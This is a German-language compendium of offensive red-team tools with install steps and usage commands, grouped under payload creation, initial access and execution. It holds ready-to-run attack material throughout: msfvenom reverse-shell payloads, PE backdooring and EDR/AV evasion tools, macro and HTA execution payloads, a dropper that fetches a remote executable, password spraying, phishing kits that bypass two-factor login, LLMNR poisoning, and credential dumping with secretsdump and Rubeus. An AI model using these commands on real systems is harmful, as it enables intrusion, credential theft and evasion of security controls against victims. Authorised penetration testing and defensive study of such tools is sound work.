Msfvenom ermöglicht die Erstellung von Payloads für verschiedene Betriebssysteme in einer Vielzahl von Formaten. Es unterstützt auch die Verschleierung von Payloads zur Umgehung von Antivirenprogrammen.
Listener einrichten```shell use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST your-ip set LPORT listening-port run
#### Msfvenom Befehle
**PHP:**```bash
msfvenom -p php/meterpreter/reverse_tcp lhost =192.168.0.9 lport=1234 R
Windows:```bash msfvenom -p windows/shell/reverse_tcp LHOST= LPORT= -f exe > shell-x86.exe
**Linux:**```bash
msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf
Java:```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
**HTA:**```bash
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f hta-psh > shell.hta
Shellter ist ein dynamisches Shellcode-Injektionswerkzeug und der erste wirklich dynamische PE-Infektor, der je erstellt wurde.
Es kann verwendet werden, um Shellcode in native Windows-Anwendungen (derzeit nur 32-Bit-Anwendungen) zu injizieren.
Shellter nutzt die ursprüngliche Struktur der PE-Datei aus und wendet keine Änderungen wie das Ändern von Speicherzugriffsberechtigungen in Abschnitten an (es sei denn, der Benutzer wünscht dies), das Hinzufügen eines zusätzlichen Abschnitts mit RWE-Zugriff oder ähnliches, was bei einem AV-Scan verdächtig wirken würde.
Die vollständige README-Information finden Sie hier.
Install: (Kali)```bash apt-get update apt-get install shellter
**Installation: (Windows)**
Besuchen Sie die [Download-Seite](https://www.shellterproject.com/download/) und installieren Sie es.
**Verwendung:**
Wählen Sie einfach eine legitime Binärdatei aus, um eine Hintertür einzubauen, und führen Sie Shellter aus.
Einige nützliche Tipps finden Sie [hier](https://www.shellterproject.com/tipstricks/).
Viele Community-Demos zur Nutzung finden Sie [hier](https://www.shellterproject.com/shellter-community-demos/).
*Bild verwendet von https://www.kali.org/tools/shellter/images/shellter.png*
### [🔙](#tool-list)[Freeze](https://github.com/optiv/Freeze)
Freeze ist ein Tool zur Erstellung von Payloads, das verwendet wird, um EDR-Sicherheitskontrollen zu umgehen und Shellcode auf eine unauffällige Weise auszuführen.
Freeze nutzt mehrere Techniken, um nicht nur Userland-EDR-Hooks zu entfernen, sondern auch Shellcode so auszuführen, dass es andere Endpunkt-Überwachungskontrollen umgeht.
**Installation:**```bash
git clone https://github.com/optiv/Freeze
cd Freeze
go build Freeze.go
Nutzung:``` -I string Path to the raw 64-bit shellcode. -O string Name of output file (e.g. loader.exe or loader.dll). Depending on what file extension defined will determine if Freeze makes a dll or exe. -console Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature. -encrypt Encrypts the shellcode using AES 256 encryption -export string For DLL Loaders Only - Specify a specific Export function for a loader to have. -process string The name of process to spawn. This process has to exist in C:\Windows\System32. Example 'notepad.exe' (default "notepad.exe") -sandbox Enables sandbox evasion by checking: Is Endpoint joined to a domain? Does the Endpoint have more than 2 CPUs? Does the Endpoint have more than 4 gigs of RAM? -sha256 Provides the SHA256 value of the loaders (This is useful for tracking)
*Image used from https://www.blackhatethicalhacking.com/tools/freeze/*
### [🔙](#tool-list)[WordSteal](https://github.com/0x09AL/WordSteal)
Dieses Skript erstellt ein Microsoft Word-Dokument mit einem entfernten Bild, was die Erfassung von NTML-Hashes von einem entfernten Opfer-Endpunkt ermöglicht.
Microsoft Word verfügt über die Fähigkeit, Bilder von entfernten Standorten einzubinden, einschließlich eines entfernten Bildes, das auf einem vom Angreifer kontrollierten SMB-Server gehostet wird. Dies bietet Ihnen die Möglichkeit, NTLM-Hashes zu empfangen und zu erfassen, die gesendet werden, wenn ein authentifiziertes Opfer das Word-Dokument öffnet und das Bild rendert.
**Installation:**```
git clone https://github.com/0x09AL/WordSteal
cd WordSteal
Verwendung:```bash
./main.py 127.0.0.1 test.jpg 1
./main.py 127.0.0.1 test.jpg 0\n
*Bild verwendet von https://pentestit.com/wordsteal-steal-ntlm-hashes-remotely/*
### [🔙](#tool-list)[NTAPI Undokumentierte Funktionen](http://undocumented.ntinternals.net/)
Diese Seite bietet Informationen über undokumentierte Windows-Interna, Systemaufrufe, Datenstrukturen und andere Details auf niedriger Ebene des Windows-Betriebssystems.
Sie kann eine wertvolle Ressource für Personen sein, die die Interna von Windows für verschiedene Zwecke erkunden möchten, einschließlich Schwachstellenanalyse, Exploit-Entwicklung und Privilegienausweitung.
Bei der Entwicklung von Exploits ist es entscheidend, die Interna des Zielsystems zu verstehen. Diese Seite kann bei der Entwicklung von Exploits helfen, indem sie die undokumentierten Aspekte auf niedriger Ebene von Windows nutzt.
**Verwendung:**
Besuche [http://undocumented.ntinternals.net/](http://undocumented.ntinternals.net/)
*Bild verwendet von http://undocumented.ntinternals.net/*
### [🔙](#tool-list)[Kernel Callback-Funktionen](https://codemachine.com/articles/kernel_callback_functions.html)
Dieser technische Hinweis bietet eine umfassende Liste aller vom Windows-Kernel exportierten APIs, mit denen Treiberentwickler Callback-Routinen registrieren können, die von Kernel-Komponenten unter verschiedenen Umständen aufgerufen werden.
Die meisten dieser Routinen sind im Windows Driver Kit (WDK) dokumentiert, einige jedoch sind für die Verwendung durch integrierte Treiber vorgesehen.
Die undokumentierten Funktionen werden kurz beschrieben, während die dokumentierten hier nur als Referenz aufgeführt sind.
**Verwendung:**
Besuche [https://codemachine.com/articles/kernel_callback_functions.html](https://codemachine.com/articles/kernel_callback_functions.html)
*Bild verwendet von https://codemachine.com*
### [🔙](#tool-list)[OffensiveVBA](https://github.com/S3cur3Th1sSh1t/OffensiveVBA)
Eine Sammlung von offensiven Techniken, Skripten und nützlichen Links zur Erreichung von Codeausführung und Verteidigungsumgehung mittels Office-Makros.
**Verwendung:**
Besuche [https://github.com/S3cur3Th1sSh1t/OffensiveVBA#templates-in-this-repo](https://github.com/S3cur3Th1sSh1t/OffensiveVBA#templates-in-this-repo)
*Bild verwendet von https://github.com/S3cur3Th1sSh1t*
### [🔙](#tool-list)WSH
**Erstellen des Payloads:**```vbs
Set shell = WScript.CreateObject("Wscript.Shell")
shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True
Ausführen:```bash wscript payload.vbs cscript.exe payload.vbs wscript /e:VBScript payload.txt //If .vbs files are blacklisted
### [🔙](#tool-list)HTA
**Payload erstellen:**```html
<html>
<body>
<script>
var c= 'cmd.exe'
new ActiveXObject('WScript.Shell').Run(c);
</script>
</body>
</html>
Ausführen: Datei ausführen
Payload erstellen:```python Sub calc() Dim payload As String payload = "calc.exe" CreateObject("Wscript.Shell").Run payload,0 End Sub
**Ausführen:** Setzen Sie die Funktion auf Auto_Open() im makroaktivierten Dokument
Erstzugriff
====================
### [🔙](#tool-list)[CredMaster](https://github.com/knavesec/CredMaster)
Führen Sie einen Password-Spray-/Brute-Force-Angriff über Amazon AWS Passthrough-Proxys durch, wobei die anfragende IP-Adresse bei jedem Authentifizierungsversuch geändert wird. Dies erstellt dynamisch FireProx-APIs für umgehungsfähigere Password Sprays.
CredMaster bietet eine Methode zur Durchführung anonymer Password Sprays gegen Endpunkte in einem einfachen, benutzerfreundlichen Tool. Das FireProx-Tool stellt die rotierende Anfrage-IP bereit, während die Basis von CredMaster alle anderen identifizierenden Informationen fälscht.
Funktionen:
- Unterstützt vollständig alle AWS-Regionen
- Generiert automatisch APIs für die Proxy-Durchleitung
- Fälscht API-Tracking-Nummern, Forwarded-For-IPs und andere Proxy-Tracking-Header
- Multithreaded-Verarbeitung
- Verzögerungszähler für Passwörter und Konfiguration zur Umgehung von Sperrrichtlinien
- Einfaches Hinzufügen neuer Plugins
- Vollständig anonym
**Installation:**```bash
git clone https://github.com/knavesec/CredMaster;cd CredMaster;pip install -r requirements.txt
Vollständige Installationsanweisungen finden Sie hier.
Verwendung:```bash python3 credmaster.py --plugin {pluginname} --access_key {key} --secret_access_key {key} -u userfile -p passwordfile -a useragentfile {otherargs} python3 credmaster.py --config config.json
Dieses Tool benötigt AWS-API-Zugriffsschlüssel, eine Anleitung zur Beschaffung dieser Schlüssel finden Sie hier: https://bond-o.medium.com/aws-pass-through-proxy-84f1f7fa4b4b
*Bild verwendet von https://github.com/knavesec/CredMaster/wiki*
### [🔙](#tool-list)[TREVORspray](https://github.com/blacklanternsecurity/TREVORspray)
TREVORspray ist ein modularer Passwort-Sprayer mit Threading, SSH-Proxying, Loot-Modulen und mehr!
**Install:**```bash
pip install https://github.com/blacklanternsecurity/TREVORspray
Verwendung:```bash
python3 ./trevorspray --recon evilcorp.com
python3 ./trevorspray --recon evilcorp.com -u emails.txt --threads 10
python3 ./trevorspray -u emails.txt -p 'Welcome123' --url https://login.windows.net/b43asdas-cdde-bse-ac05-2e37deadbeef/oauth2/token
For full usage instructions see [here](https://github.com/blacklanternsecurity/TREVORspray?tab=readme-ov-file#how-to---o365).
*Image used from https://github.com/blacklanternsecurity/TREVORspray*
### [🔙](#tool-list)[evilqr](https://github.com/kgretzky/evilqr)
Toolkit, das einen weiteren Ansatz eines QRLJacking-Angriffs demonstriert und es ermöglicht, durch QR-Code-Phishing bei der Anmeldung eine Remote-Kontoübernahme durchzuführen.
Es besteht aus einer Browsererweiterung, die vom Angreifer verwendet wird, um den Anmelde-QR-Code zu extrahieren, und einer Serveranwendung, die die Anmelde-QR-Codes abruft, um sie auf den gehosteten Phishing-Seiten anzuzeigen.
Demo [Video](https://www.youtube.com/watch?v=8pfodWzqMcU)
**Installation: (Erweiterung)**
Sie können die Erweiterung in Chrome über die Funktion `Load unpacked` laden:
https://developer.chrome.com/docs/extensions/mv3/getstarted/development-basics/#load-unpacked
Sobald die Erweiterung installiert ist, stellen Sie sicher, dass Sie ihr Symbol in der Chrome-Erweiterungsleiste anheften, damit das Symbol immer sichtbar ist.
**Installation: (Server)**```bash
git clone https://github.com/kgretzky/evilqr;cd evilqr/server/;build_run.bat
Verwendung:
./server/build/evilqr-server3. Stellen Sie sicher, dass der Anmelde-QR-Code sichtbar ist, und klicken Sie auf das **Evil QR**-Erweiterungssymbol in der Symbolleiste. Wenn der QR-Code erkannt wird, sollte das Symbol farbig aufleuchten.
4. Öffnen Sie die Phishing-Seiten-URL des Servers: `http://127.0.0.1:35000` (Standard)
*Bild verwendet von https://breakdev.org/evilqr-phishing/*
### [🔙](#tool-list)[CUPP](https://github.com/Mebus/cupp)
Die häufigste Form der Authentifizierung ist die Kombination aus Benutzername und Passwort oder Passphrase. Passwörter können manchmal durch Profiling des Benutzers erraten werden, wie z.B. Geburtstag, Spitzname, Adresse, Name eines Haustiers oder Verwandten oder ein gebräuchliches Wort wie Gott, Liebe, Geld oder Passwort.
Deshalb wurde CUPP entwickelt.
**Installieren:**```bash
git clone https://github.com/Mebus/cupp;cd cupp
Verwendung:```bash
python3 ./cupp.py -i
*Bild verwendet von https://github.com/Mebus/cupp*
### [🔙](#tool-list)[Bash Bunny](https://shop.hak5.org/products/bash-bunny)
Der Bash Bunny ist ein physisches USB-Angriffswerkzeug und ein multifunktionales Payload-Bereitstellungssystem. Es wird in den USB-Anschluss eines Computers gesteckt und kann programmiert werden, um eine Vielzahl von Funktionen auszuführen, darunter die Manipulation und Exfiltration von Daten, die Installation von Schadsoftware und die Umgehung von Sicherheitsmaßnahmen.
[hackinglab: Bash Bunny – Leitfaden](https://hackinglab.cz/en/blog/bash-bunny-guide/)
[Hak5 Dokumentation](https://docs.hak5.org/bash-bunny/)
[Nützliches Payload-Repository](https://github.com/hak5/bashbunny-payloads)
[Produktseite](https://hak5.org/products/bash-bunny)
### [🔙](#tool-list)[EvilGoPhish](https://github.com/fin3ss3g0d/evilgophish)
evilginx2 + gophish. (GoPhish) Gophish ist ein leistungsstarkes Open-Source-Phishing-Framework, das es einfach macht, die Anfälligkeit Ihrer Organisation für Phishing zu testen. (evilginx2) Ein eigenständiges Man-in-the-Middle-Angriffsframework, das verwendet wird, um Anmeldedaten zusammen mit Sitzungscookies zu phishen und so die Umgehung der Zwei-Faktor-Authentifizierung zu ermöglichen.
**Installation:**```bash
git clone https://github.com/fin3ss3g0d/evilgophish
Verwendung:``` Usage: ./setup <subdomain(s)>
### [🔙](#tool-list)[Social Engineer Toolkit (SET)](https://github.com/IO1337/social-engineering-toolkit)
Dieses Framework ist großartig für die Erstellung von Kampagnen für den Erstzugriff. 'SET verfügt über eine Reihe benutzerdefinierter Angriffsvektoren, mit denen Sie schnell einen glaubwürdigen Angriff durchführen können.'
**Installation:**```bash
git clone https://github.com/IO1337/social-engineering-toolkit; cd set; python setup.py install
Verwendung:```bash python3 setoolkit
### [🔙](#tool-list)[Hydra](https://github.com/vanhauser-thc/thc-hydra)
Nützliches Tool für Brute-Force-Angriffe auf Anmeldungen. Kann eine Reihe von Diensten wie SSH, FTP, TELNET, HTTP usw. angreifen.
**Installation:**```bash
sudo apt install hydra
Verwendung:```bash hydra -L USER.TXT -P PASS.TXT 1.1.1.1 http-post-form "login.php:username-^USER^&password=^PASS^:Error" hydra -L USER.TXT -P PASS.TXT 1.1.1.1 ssh
### [🔙](#tool-list)[SquarePhish](https://github.com/secureworks/squarephish)
SquarePhish ist ein fortschrittliches Phishing-Tool, das eine Technik verwendet, die den OAuth-Gerätecode-Authentifizierungsablauf und QR-Codes kombiniert (Siehe [PhishInSuits](https://github.com/secureworks/PhishInSuits) für weitere Informationen über den OAuth-Gerätecode-Ablauf für Phishing-Angriffe).
Angriffsschritte:
- Bösartigen QR-Code an das Opfer senden
- Opfer scannt QR-Code mit mobilem Gerät
- Opfer wird zu einem vom Angreifer kontrollierten Server geleitet (Auslösen des OAuth-Gerätecode-Authentifizierungsablaufs)
- Opfer erhält MFA-Code per E-Mail (Auslösen des 15-Minuten-Timers des OAuth-Gerätecode-Ablaufs)
- Angreifer fragt nach Authentifizierung
- Opfer gibt Code auf legitimer Microsoft-Website ein
- Angreifer speichert Authentifizierungstoken
**Installation:**```bash
git clone https://github.com/secureworks/squarephish; cd squarephish; pip install -r requirements.txt
Hinweis: Bevor Sie eines der Module verwenden, aktualisieren Sie die erforderlichen Informationen in der settings.config-Datei, die mit Required gekennzeichnet sind.
Verwendung (E-Mail-Modul):``` usage: squish.py email [-h] [-c CONFIG] [--debug] [-e EMAIL]
optional arguments: -h, --help show this help message and exit
-c CONFIG, --config CONFIG squarephish config file [Default: settings.config]
--debug enable server debugging
-e EMAIL, --email EMAIL victim email address to send initial QR code email to
**Verwendung (Server-Modul):**```
usage: squish.py server [-h] [-c CONFIG] [--debug]
optional arguments:
-h, --help show this help message and exit
-c CONFIG, --config CONFIG
squarephish config file [Default: settings.config]
--debug enable server debugging
King Phisher ist ein Werkzeug, mit dem Angreifer Phishing-E-Mails erstellen und an Opfer senden können, um an vertrauliche Informationen zu gelangen.
Es verfügt über Funktionen wie anpassbare Vorlagen, Kampagnenverwaltung und E-Mail-Versandfunktionen, was es zu einem leistungsstarken und einfach zu bedienenden Werkzeug für die Durchführung von Phishing-Angriffen macht. Mit King Phisher können Angreifer Einzelpersonen oder Organisationen mit gezielten und überzeugenden Phishing-E-Mails ins Visier nehmen, was die Erfolgschancen ihrer Angriffe erhöht.
Installation (Linux - Client & Server):```bash
wget -q https://github.com/securestate/king-phisher/raw/master/tools/install.sh &&
sudo bash ./install.sh
**Verwendung:**
Nach der Installation von King Phisher folgen Sie bitte der [Wiki-Seite](https://github.com/rsmusllp/king-phisher/wiki/Getting-Started), um SSH, Datenbankkonfiguration, SMTP-Server usw. einzurichten.
Ausführung
====================
### [🔙](#tool-list)[Responder](https://github.com/SpiderLabs/Responder)
Responder ist ein Werkzeug zum Vergiften der LLMNR- und NBT-NS-Protokolle in einem Netzwerk, um die Erfassung von Anmeldeinformationen und die Ausführung beliebigen Codes zu ermöglichen.
Die LLMNR (Link-Local Multicast Name Resolution) und NBT-NS (NetBIOS Name Service) Protokolle werden von Windows-Systemen verwendet, um Hostnamen in IP-Adressen in einem lokalen Netzwerk aufzulösen. Wenn ein Hostname mit diesen Protokollen nicht aufgelöst werden kann, sendet das System eine Broadcast-Anfrage für den Hostnamen an das lokale Netzwerk.
Responder horcht auf diese Broadcasts und antwortet mit einer gefälschten IP-Adresse, wodurch das anfragende System dazu gebracht wird, seine Anmeldeinformationen an den Angreifer zu senden.
**Installation:**```bash
git clone https://github.com/SpiderLabs/Responder#usage
cd Responder
Verwendung:```bash
./Responder.py [options]
./Responder.py -I eth0 -wrf
Full usage information can be found [here](https://github.com/SpiderLabs/Responder#usage).
*Bild verwendet von https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/*
### [🔙](#tool-list)[secretsdump](https://github.com/fortra/impacket/blob/master/examples/secretsdump.py)
Ein Dienstprogramm, das Teil der Impacket-Bibliothek ist und verwendet werden kann, um Passwort-Hashes und andere Geheimnisse aus einem Windows-System zu extrahieren.
Dies geschieht durch Interaktion mit der Security Account Manager (SAM)-Datenbank auf dem System und das Extrahieren der gehashten Passwörter und anderer Informationen, wie z.B.:
- Passwort-Hashes für lokale Konten
- Kerberos-Tickets und -Schlüssel
- LSA Secrets
**Installation:**```bash
python3 -m pip install impacket
Verwendung:```bash
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
secretsdump.py -dc-ip 10.10.10.30 MEGACORP.LOCAL/svc_bes:[email protected]
*Bild verwendet von https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket/#secretsdumppy*
### [🔙](#tool-list)[evil-winrm](https://github.com/Hackplayers/evil-winrm)
Evil-WinRM ist ein Tool, das eine Befehlszeilenschnittstelle für Windows Remote Management bereitstellt (WinRM: *Ein Dienst, der Administratoren die Möglichkeit gibt, Befehle auf einem Windows-Computer remote auszuführen.*).
Evil-WinRM ermöglicht es einem Angreifer, mithilfe von WinRM eine Remoteverbindung zu einem Windows-Computer herzustellen und beliebige Befehle auszuführen.
Einige Funktionen umfassen:
- Laden von PowerShell-Skripten in den Arbeitsspeicher
- Laden von DLL-Dateien in den Arbeitsspeicher, die einige AVs umgehen
- Laden von x64-Payloads
- Pass-the-Hash-Unterstützung
- Hoch- und Herunterladen von lokalen und entfernten Dateien
**Installation: (Git)**```bash
sudo gem install winrm winrm-fs stringio logger fileutils
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
Installieren: (Ruby gem)```bash gem install evil-winrm
Alternative Installationsanweisungen finden Sie [hier](https://github.com/Hackplayers/evil-winrm#installation--quick-start-4-methoden).
**Verwendung:**```bash
# Connect to 192.168.1.100 as Administrator with custom exe/ps1 download folder locations
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
# Upload local files to victim
upload local_filename
upload local_filename destination_filename
# Download remote files to local machine
download remote_filename
download remote_filename destination_filename
# Execute .Net assembly into victim memory
Invoke-Binary /opt/csharp/Rubeus.exe
# Load DLL library into victim memory
Dll-Loader -http http://10.10.10.10/SharpSploit.dll
Die vollständige Nutzungsdokumentation finden Sie hier.
Bild verwendet von https://korbinian-spielvogel.de/posts/heist-writeup/
Ein Tool zur Ausführung von VBScript, JScript, EXE, DLL-Dateien und dotNET-Assemblys im Arbeitsspeicher. Es kann verwendet werden, um benutzerdefinierte Payloads auf Zielsystemen zu laden und auszuführen, ohne dass Dateien auf die Festplatte geschrieben werden müssen.
Installation: (Windows)```bash git clone http://github.com/thewover/donut.git
Um die Loader-Vorlage, die dynamische Bibliothek donut.dll, die statische Bibliothek donut.lib und den Generator donut.exe zu generieren, starten Sie eine x64-Eingabeaufforderung für Microsoft Visual Studio-Entwickler, wechseln Sie in das Verzeichnis, in das Sie das Donut-Repository geklont haben, und geben Sie Folgendes ein:```bash
nmake -f Makefile.msvc
Um dasselbe zu tun, außer mit MinGW-64 unter Windows oder Linux, wechseln Sie in das Verzeichnis, in das Sie das Donut-Repository geklont haben, und geben Sie Folgendes ein:```bash make -f Makefile.mingw
**Installation: (Linux)**```bash
pip3 install donut-shellcode
Verwendung:```bash
shellcode = donut.create(file=r"C:\Tools\Source\Repos\donut\calc.xsl")
shellcode = donut.create(file=r"C:\Tools\Source\Repos\donut\payload\test\hello.dll")
Für vollständige Nutzungsinformationen siehe die Donut [GitHub-Seite](https://github.com/TheWover/donut/#4-usage).
Siehe [einen kürzlichen Blogbeitrag](https://thewover.github.io/Bear-Claw/) von The Wover für weitere Informationen.
### [🔙](#tool-list)[Macro_pack](https://github.com/sevagas/macro_pack)
Ein Tool zur Automatisierung der Verschleierung und Erstellung von Office-Dokumenten, VB-Skripten, Verknüpfungen und anderen Formaten für Red Teaming.
**Installation: (Binär)**
1. Holen Sie die neueste Binärdatei von [https://github.com/sevagas/macro_pack/releases/](https://github.com/sevagas/macro_pack/releases/)
2. Laden Sie die Binärdatei auf einen PC mit installiertem originalem Microsoft Office herunter.
3. Öffnen Sie die Konsole, wechseln Sie zum Binärverzeichnis und rufen Sie die Binärdatei auf.
**Installation: (Git)**```bash
git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt
Verwendung:```bash
python3 macro_pack.py --help
macro_pack.exe --listformats
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
macro_pack.exe -f empire.vba -o -G myDoc.docm
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
echo calc.exe | macro_pack.exe --dde -G calc.xslx
### [🔙](#tool-list)[PowerSploit](https://github.com/PowerShellMafia/PowerSploit)
Eine Sammlung von PowerShell-Skripten und -Modulen, die verwendet werden können, um eine Vielzahl von Red-Teaming-Zielen zu erreichen.
Einige der Funktionen von PowerSploit:
- Passwort-Hashes auslesen und Klartext-Passwörter aus dem Arbeitsspeicher extrahieren
- Berechtigungen erweitern und Sicherheitskontrollen umgehen
- Beliebigen PowerShell-Code ausführen und Ausführungsbeschränkungen umgehen
- Netzwerkaufklärung und -erkundung durchführen
- Payloads generieren und Exploits ausführen
**Installieren:** *1. In den PowerShell-Module-Ordner speichern*
Zuerst müssen Sie den [PowerSploit-Ordner](https://github.com/PowerShellMafia/PowerSploit) herunterladen und in Ihren PowerShell-Module-Ordner speichern.
Den Pfad zu Ihrem PowerShell-Module-Ordner finden Sie mit folgendem Befehl:```
$Env:PSModulePath
Installation: 2. PowerSploit als PowerShell-Modul installieren
Sie müssen dann das PowerSploit-Modul installieren (verwenden Sie den Namen des heruntergeladenen Ordners).
Hinweis: Ihre PowerShell-Ausführungsrichtlinie könnte Sie blockieren. Führen Sie den folgenden Befehl aus, um dies zu beheben.
Set-ExecutionPolicy Unrestricted``` powershell.exe -ep bypass
Jetzt können Sie das PowerSploit-Modul installieren.```
Import-Module PowerSploit
Verwendung:``` Get-Command -Module PowerSploit
### [🔙](#tool-list)[Rubeus](https://github.com/GhostPack/Rubeus)
Ein Tool, das verwendet werden kann, um verschiedene Aktionen im Zusammenhang mit Microsoft Active Directory (AD)-Umgebungen durchzuführen, wie das Auslesen von Passwort-Hashes, das Erstellen/Löschen von Benutzern und das Ändern von Benutzereigenschaften.
Einige der Funktionen von Rubeus:
- Kerberoasting
- Golden-Ticket-Angriffe
- Silver-Ticket-Angriffe
**Installation: (Download)**
Sie können die inoffizielle vorkompilierte Rubeus-Binärdatei [hier](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Rubeus.exe) installieren.
**Installation: (Kompilieren)**
Rubeus ist kompatibel mit [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Öffnen Sie das Rubeus-[Projekt .sln](https://github.com/GhostPack/Rubeus), wählen Sie "Release" und erstellen Sie es.
**Verwendung:**```
Rubeus.exe -h
Ein nützliches Tool zur Überprüfung eines Endpunkts eines Opfers auf Schwachstellen im Zusammenhang mit Prozessen mit hoher Integrität, Gruppen, kaperbaren Pfaden usw.
Installation: (Download)
Sie können das inoffizielle vorkompilierte SharpUp-Binary hier installieren.
Installation: (Kompilieren)
SharpUp ist kompatibel mit Visual Studio 2015 Community Edition. Öffnen Sie das SharpUp Projekt .sln, wählen Sie "Release", und erstellen Sie es.
Verwendung:```bash SharpUp.exe audit #-> Runs all vulnerability checks regardless of integrity level or group membership.
SharpUp.exe HijackablePaths #-> Check only if there are modifiable paths in the user's %PATH% variable.
SharpUp.exe audit HijackablePaths #-> Check only for modifiable paths in the user's %PATH% regardless of integrity level or group membership.
### [🔙](#tool-list)[SQLRecon](https://github.com/skahwah/SQLRecon)
MS-SQL (Microsoft SQL Server) ist ein relationales Datenbankmanagementsystem, das von Microsoft entwickelt und vertrieben wird.
Dieses C# MS-SQL-Toolkit ist für offensive Aufklärung und Post-Exploitation konzipiert. Detaillierte Nutzungsinformationen zu jeder Technik finden Sie im [Wiki](https://github.com/skahwah/SQLRecon/wiki).
**Installation: (Binär)**
Sie können die neueste Binärversion von [hier](https://github.com/skahwah/SQLRecon/releases) herunterladen.
**Verwendung:**```bash
# Authenticating using Windows credentials
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami
# Authenticating using Local credentials
SQLRecon.exe -a Local -s SQL02 -d master -u sa -p Password123 -m whoami
# Authenticating using Azure AD credentials
SQLRecon.exe -a azure -s azure.domain.com -d master -r domain.com -u skawa -p Password123 -m whoami
# Run whoami
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami
# View databases
SQLRecon.exe -a Windows -s SQL01 -d master -m databases
# View tables
SQLRecon.exe -a Windows -s SQL01 -d master -m tables -o AdventureWorksLT2019
Vollständige Nutzungsinformationen finden Sie im Wiki.
Informationen zur Nutzung der Toolmodule finden Sie hier.
Bild von der SQLRecon-Hilfeseite
Diese Ressource ist eine Sammlung der gängigsten und bekannten Techniken zur Umgehung von AppLocker.
Da AppLocker auf verschiedene Weisen konfiguriert werden kann, pflegt @api0cradle eine verifizierte Liste von Umgehungen (die gegen die standardmäßigen AppLocker-Regeln funktioniert) und eine Liste mit möglichen Umgehungstechniken (abhängig von der Konfiguration) oder solchen, die von jemandem als Umgehung behauptet werden.
Sie haben auch eine Liste generischer Umgehungstechniken sowie eine Legacy-Liste von Methoden zur Ausführung über DLLs.
Indizierte Listen
Bild verwendet von https://github.com/api0cradle/UltimateAppLockerByPassList
Ein auf JavaScript und VBScript basierender Empire-Launcher, der in einem eigenen eingebetteten PowerShell-Host läuft.
Beide Launcher laufen in einem eigenen eingebetteten PowerShell-Host, sodass wir PowerShell.exe nicht benötigen.
Dies kann nützlich sein, wenn ein Unternehmen PowerShell.exe blockiert und/oder eine Application-Whitelisting-Lösung verwendet, aber das Ausführen von JS/VBS-Dateien nicht blockiert.
Nutzung:
Für die JavaScript-Version verwenden Sie die folgende Variable:```javascript var EncodedPayload = ""
Für die VBScript-Version verwende die folgende Variable:```vbscript
Dim EncodedPayload: EncodedPayload = "<Paste Encoded Launcher Payload Here>"
Bild verwendet von https://www.hackplayers.com/2017/06/startfighters-un-launcher-de-empire-en-js-vbs.html
Ziel dieses Projekts ist es, .html-Dateien zu generieren, die eine verschlüsselte HTA-Datei enthalten.
Die Idee ist, dass, wenn Ihr Ziel die Seite besucht, der Schlüssel abgerufen und die HTA dynamisch im Browser entschlüsselt und direkt an den Benutzer übermittelt wird.
Dies ist eine Umgehungstechnik, um die von einigen Sicherheitsgeräten durchgeführte Inhalts-/Dateityp-Inspektion zu umgehen.
Weitere technische Informationen hier.
Installation:``` git clone https://github.com/nccgroup/demiguise cd demiguise
**Verwendung:**```bash
# Generate an encrypted .hta file that executes notepad.exe
python demiguise.py -k hello -c "notepad.exe" -p Outlook.Application -o test.hta
Bild verwendet von https://github.com/nccgroup/demiguise
PowerZure ist ein PowerShell-Projekt, das zur Bewertung und Ausnutzung von Ressourcen in der Microsoft-Cloud-Plattform Azure entwickelt wurde. PowerZure wurde aus der Notwendigkeit heraus entwickelt, ein Framework zu schaffen, das sowohl Aufklärung als auch Ausnutzung von Azure, AzureAD und den zugehörigen Ressourcen durchführen kann.
Es gibt keinerlei Grund, PowerZure jemals auf einem Opferrechner auszuführen. Die Authentifizierung erfolgt entweder mithilfe einer vorhandenen accesstoken.json-Datei oder durch Anmeldeaufforderung beim Einloggen in Azure. Das bedeutet, dass Sie PowerZure sicher verwenden können, um von Ihrem eigenen Rechner aus mit der Cloud-Instanz eines Opfers zu interagieren.
Installation:```bash Install-Module -Name Az git clone https://github.com/hausec/PowerZure cd PowerZure ipmo C:\path\to\PowerZure.psd1
**Verwendung:**```bash
# Get a list of AzureAD and Azure objects you have access to
Get-AzureTarget
Blog - Angriff auf Azure, Azure AD und Einführung von PowerZure
Bild verwendet von https://hakin9.org
Impacket bietet eine Reihe von Low-Level-Python-Bindungen für verschiedene Netzwerkprotokolle, darunter SMB, Kerberos und LDAP, sowie höherwertige Bibliotheken zur Interaktion mit Netzwerkdiensten und zur Ausführung spezifischer Aufgaben wie dem Auslesen von Passwort-Hashes und dem Erstellen von Netzwerkfreigaben.
Es enthält auch eine Reihe von Befehlszeilentools, die zur Durchführung verschiedener Aufgaben wie dem Auslesen von SAM-Datenbanken, dem Aufzählen von Domänenvertrauensstellungen und dem Knacken von Windows-Passwörtern verwendet werden können.
Installation:```bash python3 -m pip install impacket
**Installation: (mit Beispielskripten)**
Laden Sie [das Paket](https://github.com/fortra/impacket) herunter und entpacken Sie es, navigieren Sie dann zum Installationsverzeichnis und führen Sie aus...```bash
python3 -m pip install .
Verwendung:```bash
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
netview.py domain/user:password -target 192.168.10.2
mssqlinstance.py 192.168.1.2
GetADUsers.py domain/user:password@IP
